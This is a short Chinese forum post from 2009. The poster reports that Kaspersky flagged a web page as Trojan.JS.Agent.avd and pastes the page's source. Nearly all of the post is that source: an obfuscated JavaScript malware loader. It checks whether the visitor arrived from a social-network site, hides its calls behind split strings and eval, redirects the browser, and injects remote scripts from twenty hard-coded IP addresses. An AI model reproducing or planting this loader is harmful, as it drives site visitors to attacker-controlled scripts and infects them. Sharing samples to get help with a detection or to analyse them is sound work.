本帖最后由 幸福的猪猪 于 2009-12-12 11:50 编辑
卡巴斯基报：Trojan.JS.Agent.avd
以下是复制出来的网页源代码：
- <script>
- // KROTEG
- var nyjhaudxqpfltrzovb5 = [
- ['facebook.com', 'fb2'],
- ['tagged.com', 'tg'],
- ['friendster.com','fr'],
- ['myspace.com', 'ms'],
- ['msplinks.com', 'ms'],
- ['lnk.ms', 'ms'],
- ['myyearbook.com','yb'],
- ['fubar.com', 'fu'],
- ['twitter.com', 'tw'],
- ['hi5.com', 'hi5'],
- ['bebo.com', 'be']
- ];
- var koatphcqzdfyn3 = [
- '84.108' + '.201.115',
- '99.236' + '.198.29',
- '209.' + '237.70.23',
- '82.2' + '.200.130',
- '99.68' + '.108.48',
- '69.1' + '51.177.17',
- '173.19' + '.66.108',
- '98.6' + '4.120.184',
- '2' + '17.132.206.13',
- '93.1' + '72.118.225',
- '190.' + '213.59.90',
- '96' + '.32.255.162',
- '24.151' + '.252.86',
- '76' + '.187.28.115',
- '75.87' + '.196.183',
- '69' + '.244.21.21',
- '21' + '2.30.204.44',
- '75.141' + '.137.188',
- '1' + '73.21.48.201',
- '173.32' + '.167.235',
- ];
- var tovsizy0 = '', rjxfoq2 = '', gpfknwlmqirozedstx6 = '', hgzcxlkqnfmyrpib0 = '';
- var ucglixmhwqknroa9 = '' + eval('doc'+tovsizy0+'ume'+rjxfoq2+'nt.r'+gpfknwlmqirozedstx6+'efer'+hgzcxlkqnfmyrpib0+'rer'), qebduwt3 = '';
- for (var oybimfjdcgeszr0 = 0; oybimfjdcgeszr0 < nyjhaudxqpfltrzovb5.length; oybimfjdcgeszr0 ++) {
- if ((ucglixmhwqknroa9.indexOf(nyjhaudxqpfltrzovb5[oybimfjdcgeszr0][0]) != -1)) {
- qebduwt3 = '/f=' + nyjhaudxqpfltrzovb5[oybimfjdcgeszr0][1];
- break;
- }
- }
- if ((ucglixmhwqknroa9.indexOf('google.com/reader/shared') != -1) && (ucglixmhwqknroa9.indexOf('?id=') != -1)) qebduwt3 = '/f=ms';
- if (location.href.indexOf('?go&ms') != -1) qebduwt3 = '/f=ms';
- window.redirect = '';
- function nucqajgxvms4() {
- var rbhyojlct5 = '' + eval('win'+'dow.r'+'edir'+'ect;');
- if (rbhyojlct5.length > 0) eval('wi'+'ndow'+'.lo'+'cati'+'on.hr'+'ef = rbhyojlct5;');
- else setTimeout('nucqajgxvms4()', 50);
- }
- nucqajgxvms4();
- var js = '/vi'+'ew', l = '' + eval('loc'+'at'+'ion.'+'hr'+'ef');
- var n = l.indexOf('?i'+'d=');
- if (n != -1) {
- n = parseInt(l.substr(n + 4));
- if (n < 101) js = '/c'+'ne'+'t';
- else if (n < 201) js = '/vi'+'ew';
- else if (n < 301) js = '/sc'+'an';
- else if (n < 401) js = '/vi'+'ew';
- else if (n < 501) js = '/y'+'out'+'ube';
- }
- var ss = '' + eval('l'+'oca'+'ti'+'on.s'+'ear'+'ch');
- ss = (ss.length > 0 ? ss : '');
- for (var oybimfjdcgeszr0 = 0; oybimfjdcgeszr0 < koatphcqzdfyn3.length; oybimfjdcgeszr0 ++) {
- var nn = 'sc'+'rip'+'t', oxckdfgn8 = document.createElement(nn);
- oxckdfgn8.type = 'te'+'xt'+'/ja'+'va'+nn;
- oxckdfgn8.src = 'ht'+'tp:'+'//' + koatphcqzdfyn3[oybimfjdcgeszr0] + '/go' + '.js' + '?0x'+'3E'+'8' + qebduwt3 + js + '/co'+'nsol'+'e=y'+'es/' + ss;
- document.getElementsByTagName('h'+'ea'+'d')[0].appendChild(oxckdfgn8);
- }
- </script>
|
发表于 2009-12-12 11:45:32
